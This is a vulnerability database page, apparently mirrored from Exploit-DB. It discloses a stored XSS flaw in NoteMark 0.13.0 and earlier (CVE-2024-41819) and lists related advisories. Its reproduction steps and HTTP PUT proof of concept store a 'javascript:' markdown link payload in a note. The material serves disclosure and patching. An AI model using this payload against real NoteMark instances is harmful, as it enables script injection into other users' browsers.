NoteMark < 0.13.0 - Stored XSS
🗓️ 28 Aug 2024 00:00:00Reported by Alessio Romano (sfoffo)Type
exploitdb🔗 www.exploit-db.com👁 238 Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| NoteMark < 0.13.0 - Stored XSS Vulnerability | 28 Aug 202400:00 | – | zdt | |
| CVE-2024-41819 | 23 Oct 202419:29 | – | circl | |
| Note Mark 安全漏洞 | 29 Jul 202400:00 | – | cnnvd | |
| CVE-2024-41819 | 29 Jul 202416:03 | – | cve | |
| CVE-2024-41819 Note Mark has a stored XSS in the note link href attribute | 29 Jul 202416:03 | – | cvelist | |
| EUVD-2024-39203 | 3 Oct 202520:07 | – | euvd | |
| CVE-2024-41819 | 29 Jul 202416:15 | – | nvd | |
| Notemark 0.13.0 Cross Site Scripting | 29 Aug 202400:00 | – | packetstorm | |
| PT-2024-29585 | 29 Jul 202400:00 | – | ptsecurity | |
| CVE-2024-41819 | 5 Feb 202507:53 | – | redhatcve |
10
# Exploit Title: Stored XSS in NoteMark
# Date: 07/29/2024
# Exploit Author: Alessio Romano (sfoffo)
# Vendor Homepage: https://notemark.docs.enchantedcode.co.uk/
# Version: 0.13.0 and below
# Tested on: Linux
# References:
https://notes.sfoffo.com/contributions/2024-contributions/cve-2024-41819,
https://github.com/enchant97/note-mark/commit/a0997facb82f85bfb8c0d497606d89e7d150e182,
https://github.com/enchant97/note-mark/security/advisories/GHSA-rm48-9mqf-8jc3
# CVE: CVE-2024-41819
## Steps to Reproduce
1. Log in to the application.
2. Create a new note or enter a previously created note.
3. Access the note editor functionality from the selected note by clicking
on the "Editor" tab.
4. Input the following payload:
[xss-link](javascript:alert(1))
5. Save the changes.
6. Click on the "Rendered" tab to view the rendered markdown version of the
note. Click on the previously created link to pop the injected alert.
## HTTP Request PoC
PUT /api/notes/<note-uuid>/content HTTP/1.1
Host: localhost:8000
Accept: */*
Content-Type: text/plain;charset=UTF-8
Content-Length: 34
Sec-Fetch-Site: same-origin
Authorization: Bearer <TOKEN>
[xss-link](javascript:alert(1))Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Aug 2024 00:00Current
7.9High risk
Vulners AI Score7.9
CVSS 3.15.4 - 8.7
EPSS0.00824
SSVC